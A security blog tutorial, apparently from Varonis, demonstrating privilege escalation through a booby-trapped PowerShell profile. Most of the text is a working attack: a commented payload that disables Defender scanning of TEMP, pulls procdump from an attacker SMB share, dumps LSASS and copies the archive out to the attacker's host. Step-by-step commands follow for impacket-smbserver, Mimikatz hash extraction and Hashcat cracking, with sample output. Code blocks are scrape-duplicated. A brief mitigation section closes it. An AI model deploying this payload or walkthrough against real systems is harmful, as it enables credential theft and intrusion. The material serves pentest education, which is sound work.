The privilege escalation method shown in this article is a variant used by Russian-based espionage groups. It outlines an attacker’s ability to leverage built-in PowerShell features to execute arbitrary commands in an elevated (Administrator) context. Below is a demonstration on exfiltrating NTLM hashes.
As defined by the MITRE ATT&CK Framework:
Event-Triggered Execution: Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments… Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence.
See the included topics below:
- Understanding the Attack
- What are PowerShell Execution Policies?
- What are PowerShell Profiles?
- Setup the Attack
- Extract Password Hashes with Mimikatz
- Crack NTLM Hashes with Hashcat
- Mitigation & Detection
Understanding the Attack
In the below example, an unsuspecting user is starting PowerShell with Local Administrator privileges.
The session doesn’t appear unusual to the user. But after examining the PowerShell profile, we see hashed passwords sent to an attacker-controlled server. The attack is entirely transparent to the target user.
The ideal conditions for this attack are:
- Local Administrator Capabilities: With Local Administrator accounts, PowerShell sessions started with low privileges and administrator privileges share a profile.ps1. An attacker with remote access can manipulate the profile.ps1 executed by Administrator PowerShell sessions.
- Permissive PowerShell Execution Policies: The Execution Policy will ultimately determine if the attack is possible. The profile.ps1 will only execute in Administrator PowerShell sessions if script execution is allowed.
Get the Free Pentesting Active
Directory Environments E-Book
The network topology contains a Windows 10 and Kali Linux machine connected by a single router (shown below).
What are PowerShell Execution Policies?
As defined by the Microsoft documentation:
PowerShell’s execution policy is a safety feature that controls the conditions under which PowerShell loads configuration files and runs scripts… The execution policy isn’t a security system that restricts user actions… Instead, the execution policy helps users to set basic rules and prevents them from violating them unintentionally.
In Windows 10, “Undefined” is the default policy in every Scope. However, it’s common for users to change the CurrentUser
and LocalMachine
policies to allow script executions. Permissive Policies such as RemoteSigned
, Unrestricted
, or Bypass
make privilege escalation possible.
Use the Get-ExecutionPolicy -List
command to view the current policies.
PS C:\Users\varonis> Get-ExecutionPolicy -List Scope ExecutionPolicy ----- --------------- MachinePolicy Undefined UserPolicy Undefined Process Undefined CurrentUser Undefined LocalMachine RemoteSigned
- PS C:\Users\varonis> Get-ExecutionPolicy -List
- Scope ExecutionPolicy
- ----- ---------------
- MachinePolicy Undefined
- UserPolicy Undefined
- Process Undefined
- CurrentUser Undefined
- LocalMachine RemoteSigned
PS C:\Users\varonis> Get-ExecutionPolicy -List Scope ExecutionPolicy ----- --------------- MachinePolicy Undefined UserPolicy Undefined Process Undefined CurrentUser Undefined LocalMachine RemoteSigned
What are PowerShell Profiles?
PowerShell profiles are scripts that execute with every new PowerShell session. That includes PowerShell ISE and Visual Studio sessions. They’re a convenient way for users and developers to load custom functions and modules with every new PS terminal.
Use the $PROFILE
variable to view the session’s profile path.
View the contents of the file with the Get-Content
command.
PS C:\Users\varonis> Get-Content $PROFILE
If the directory doesn’t exist, an attacker can create it as a hidden folder to prevent detection.
PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
- PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
If the PS1 file doesn’t exist, create it. As dumping passwords requires elevated privileges, this is an effective way to prevent the payload from executing in low privileged contexts.
PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
- PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
At a glance, this doesn’t appear like a huge issue. It’s important to understand that an attacker can change a file executed automatically by Administrator PowerShell sessions. Consider replacing echo with a command to disable Windows Defender or reset passwords.
Setup the Attack
Let’s weaponize what we know about PowerShell profiles to show how an attacker can extract hashed passwords. In Kali, start by creating the working directory to store several files.
tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
- tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
Download the latest version of Procdump.
tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
- tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
Unzip the compressed file to find different versions of Procdump. The attack described in this article will use procdump.exe.
tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
- tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
Download the script I created for this article and save it with the “payload” filename. Use the below command or find it on my GitHub. Change the $server IP in the payload to your Kali address.
tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
- tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
tokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
The payload contains several simple commands. The Add-MpPreference
cmdlet adds $env:TEMP
to the Windows Defender exclusion list. It will prevent Windows Defender from detecting the procdump.exe
or the LSASS memory dump. Acting as an alternative to Invoke-WebRequest
, esentutl.exe
will download procdump.exe
from the attacker’s SMB share. Procdump executes and saves the LSASS dump to $env:TEMP
. It’s zipped with Compress-Archive
and exfiltrated to the SMB share via the cp
command.
For clarity, I added comments to the payload.
# an if statement to prevent the attack from executing without administrator privileges if (whoami /groups | findstr /i "S-1-16-12288") { # start the attack as a background processs to prevent the PS terminal from stalling when opened Start-Job { # where to write data during the attack? $temp = "$env:TEMP" # create path exclusion in Windows Defender to prevent procdump detection Add-MpPreference -ExclusionPath $temp # sleep several seconds to allow the path exclusion to take effect Start-Sleep -s 4 # the attacker's IP address $server = "192.168.56.101" # the attacker's SMB share name, must match impacket-smbserver share name $share = "evilshare" # procdump filename as it appears on the attacker's SMB share $procdump = "procdump.exe" # procdump.exe is saved locally with a random string as the filename $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe' # the procdump output path when saved locally; shameless username plug $dump = "tokyoneon.dmp" # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip" # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o # execute procdump and dump LSASS memory & $temp\$filename -accepteula -ma lsass.exe $temp\$dump # suppress progress bar that appears in the terminal when compressing the dump $ProgressPreference = "SilentlyContinue" # compress the dump Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force # exfiltrate the compressed dump to the attacker's SMB share via cp cp $temp\$exfil \\$server\$share\$exfil } | Out-Null }
- # an if statement to prevent the attack from executing without administrator privileges
- if (whoami /groups | findstr /i "S-1-16-12288")
- {
- # start the attack as a background processs to prevent the PS terminal from stalling when opened
- Start-Job {
- # where to write data during the attack?
- $temp = "$env:TEMP"
- # create path exclusion in Windows Defender to prevent procdump detection
- Add-MpPreference -ExclusionPath $temp
- # sleep several seconds to allow the path exclusion to take effect
- Start-Sleep -s 4
- # the attacker's IP address
- $server = "192.168.56.101"
- # the attacker's SMB share name, must match impacket-smbserver share name
- $share = "evilshare"
- # procdump filename as it appears on the attacker's SMB share
- $procdump = "procdump.exe"
- # procdump.exe is saved locally with a random string as the filename
- $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe'
- # the procdump output path when saved locally; shameless username plug
- $dump = "tokyoneon.dmp"
- # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating
- $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip"
- # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval
- esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o
- # execute procdump and dump LSASS memory
- & $temp\$filename -accepteula -ma lsass.exe $temp\$dump
- # suppress progress bar that appears in the terminal when compressing the dump
- $ProgressPreference = "SilentlyContinue"
- # compress the dump
- Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force
- # exfiltrate the compressed dump to the attacker's SMB share via cp
- cp $temp\$exfil \\$server\$share\$exfil } | Out-Null
- }
# an if statement to prevent the attack from executing without administrator privileges if (whoami /groups | findstr /i "S-1-16-12288") { # start the attack as a background processs to prevent the PS terminal from stalling when opened Start-Job { # where to write data during the attack? $temp = "$env:TEMP" # create path exclusion in Windows Defender to prevent procdump detection Add-MpPreference -ExclusionPath $temp # sleep several seconds to allow the path exclusion to take effect Start-Sleep -s 4 # the attacker's IP address $server = "192.168.56.101" # the attacker's SMB share name, must match impacket-smbserver share name $share = "evilshare" # procdump filename as it appears on the attacker's SMB share $procdump = "procdump.exe" # procdump.exe is saved locally with a random string as the filename $filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe' # the procdump output path when saved locally; shameless username plug $dump = "tokyoneon.dmp" # as the procdump output contains non-ascii characters, it must be compressed before exfiltrating $exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip" # rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o # execute procdump and dump LSASS memory & $temp\$filename -accepteula -ma lsass.exe $temp\$dump # suppress progress bar that appears in the terminal when compressing the dump $ProgressPreference = "SilentlyContinue" # compress the dump Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force # exfiltrate the compressed dump to the attacker's SMB share via cp cp $temp\$exfil \\$server\$share\$exfil } | Out-Null }
Start impacket-smbserver
to serve the payload and wait for incoming LSASS dumps. The terminal must remain open for the duration of the attack.
tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
- tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
In Windows, add the payload to the target $PROFILE
. It’s possible to do this via reverse shell or backdoor, but for simplicity, use a PS terminal. Change the $attacker
variable in the following command to your Kali IP address.
PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
- PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
When the target starts a new Administrator PowerShell session, the impacket-smbserver
will appear as shown below.
Two separate “AUTHENTICATE_MESSAGE
” prompts appear in the impacket-smbserver
output: The target OS fetching the procdump.exe and the compressed LSASS dump delivered to the server. After the second message, wait a few moments and press Ctrl
+ c
twice to kill the Impacket server. There will be a new ZIP file in the current directory. Unzip it to find the DMP file.
Extract Password Hashes with Mimikatz
The hashed passwords in the DMP file are not readable in plaintext. Move the DMP file to a Windows 10 VM with Windows Defender disabled. Download the latest version of Mimikatz (mimikatz_trunk.zip) and save it to the Downloads
folder in Windows.
Open a PowerShell terminal and decompress the ZIP with the following command.
PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
- PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
PS > Expand-Archive -Path $env:USERPROFILE\Downloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatz
Change into the x64 directory and execute the mimikatz.exe binary.
PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
- PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
Load the DMP info Mimikatz with the sekurlsa::minidump
command.
mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
- mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
Use the sekurlsa::logonPasswords
command to extract hashed credentials. Notice the NTLM hash on line 12.
mimikatz # sekurlsa::logonPasswords Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump... 1 Authentication Id : 0 ; 188563 (00000000:0002e093) 2 Session : Interactive from 1 3 User Name : varonis 4 Domain : DESKTOP-JI80T34 5 Logon Server : DESKTOP-JI80T34 6 Logon Time : 11/15/2020 9:56:57 PM 7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001 8 msv : 9 [00000003] Primary 10 * Username : varonis 11 * Domain : DESKTOP-JI80T34 12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5 13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f 14 tspkg : 15 wdigest : 16 * Username : varonis 17 * Domain : DESKTOP-JI80T34 18 * Password : (null) 19 kerberos : 20 * Username : varonis 21 * Domain : DESKTOP-JI80T34 22 * Password : (null) 23 ssp : 24 credman : 25 cloudap : ----- [truncated] ----- 59 Authentication Id : 0 ; 999 (00000000:000003e7) 60 Session : UndefinedLogonType from 0 61 User Name : DESKTOP-JI80T34$ 62 Domain : WORKGROUP 63 Logon Server : (null) 64 Logon Time : 11/15/2020 9:56:50 PM 65 SID : S-1-5-18 66 msv : 67 tspkg : 68 wdigest : 69 * Username : DESKTOP-JI80T34$ 70 * Domain : WORKGROUP 71 * Password : (null) 72 kerberos : 73 * Username : desktop-ji80t34$ 74 * Domain : WORKGROUP 75 * Password : (null) 76 ssp : 77 credman : 78 cloudap : mimikatz #
- mimikatz # sekurlsa::logonPasswords
- Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump...
- 1 Authentication Id : 0 ; 188563 (00000000:0002e093)
- 2 Session : Interactive from 1
- 3 User Name : varonis
- 4 Domain : DESKTOP-JI80T34
- 5 Logon Server : DESKTOP-JI80T34
- 6 Logon Time : 11/15/2020 9:56:57 PM
- 7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001
- 8 msv :
- 9 [00000003] Primary
- 10 * Username : varonis
- 11 * Domain : DESKTOP-JI80T34
- 12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5
- 13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f
- 14 tspkg :
- 15 wdigest :
- 16 * Username : varonis
- 17 * Domain : DESKTOP-JI80T34
- 18 * Password : (null)
- 19 kerberos :
- 20 * Username : varonis
- 21 * Domain : DESKTOP-JI80T34
- 22 * Password : (null)
- 23 ssp :
- 24 credman :
- 25 cloudap :
- ----- [truncated] -----
- 59 Authentication Id : 0 ; 999 (00000000:000003e7)
- 60 Session : UndefinedLogonType from 0
- 61 User Name : DESKTOP-JI80T34$
- 62 Domain : WORKGROUP
- 63 Logon Server : (null)
- 64 Logon Time : 11/15/2020 9:56:50 PM
- 65 SID : S-1-5-18
- 66 msv :
- 67 tspkg :
- 68 wdigest :
- 69 * Username : DESKTOP-JI80T34$
- 70 * Domain : WORKGROUP
- 71 * Password : (null)
- 72 kerberos :
- 73 * Username : desktop-ji80t34$
- 74 * Domain : WORKGROUP
- 75 * Password : (null)
- 76 ssp :
- 77 credman :
- 78 cloudap :
- mimikatz #
mimikatz # sekurlsa::logonPasswords Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump... 1 Authentication Id : 0 ; 188563 (00000000:0002e093) 2 Session : Interactive from 1 3 User Name : varonis 4 Domain : DESKTOP-JI80T34 5 Logon Server : DESKTOP-JI80T34 6 Logon Time : 11/15/2020 9:56:57 PM 7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001 8 msv : 9 [00000003] Primary 10 * Username : varonis 11 * Domain : DESKTOP-JI80T34 12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5 13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f 14 tspkg : 15 wdigest : 16 * Username : varonis 17 * Domain : DESKTOP-JI80T34 18 * Password : (null) 19 kerberos : 20 * Username : varonis 21 * Domain : DESKTOP-JI80T34 22 * Password : (null) 23 ssp : 24 credman : 25 cloudap : ----- [truncated] ----- 59 Authentication Id : 0 ; 999 (00000000:000003e7) 60 Session : UndefinedLogonType from 0 61 User Name : DESKTOP-JI80T34$ 62 Domain : WORKGROUP 63 Logon Server : (null) 64 Logon Time : 11/15/2020 9:56:50 PM 65 SID : S-1-5-18 66 msv : 67 tspkg : 68 wdigest : 69 * Username : DESKTOP-JI80T34$ 70 * Domain : WORKGROUP 71 * Password : (null) 72 kerberos : 73 * Username : desktop-ji80t34$ 74 * Domain : WORKGROUP 75 * Password : (null) 76 ssp : 77 credman : 78 cloudap : mimikatz #
Crack NTLM Hashes with Hashcat
Now onto another pentesting tool, Hashcat. Even in 2020, people use weak passwords to secure their data and accounts. With the latest version of Hashcat and a generic GTX 1060 GPU, it took one-second to crack a hash containing seven characters.
tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
- tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
Mitigation & Detection
As recommended by the MITRE ATT&CK Framework:
Monitor the profile locations for modifications. Additional mitigations include:
- Code Signing: Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from being modified.
- Restrict File and Directory Permissions: Making PowerShell profiles immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user-level persistence.
- Software Configuration: Avoid PowerShell profiles if not needed. Use the
-NoProfile
flag when executing PowerShell scripts remotely to prevent local profiles from being executed.
Conclusion
This attack on NTLM hashes illustrates the dangers of an overly permissive policy coupled with local administrator accounts. While this detailed how an attacker can force the administrator to exfiltrate NTLM hashes, it’s trivial to modify the featured payload and elevate to NT AUTHORITY\SYSTEM
with PsExec. See additional tips for pentesters using PowerShell.
Follow me on Twitter @tokyoneon_ and GitHub to keep up with my current projects. For questions and concerns, leave a comment or message me on Twitter.
What should I do now?
Below are three ways you can continue your journey to reduce data risk at your company:
Schedule a demo with us to see Varonis in action. We'll personalize the session to your org's data security needs and answer any questions.
See a sample of our Data Risk Assessment and learn the risks that could be lingering in your environment. Varonis' DRA is completely free and offers a clear path to automated remediation.
Follow us on LinkedIn, YouTube, and X (Twitter) for bite-sized insights on all things data security, including DSPM, threat detection, AI security, and more.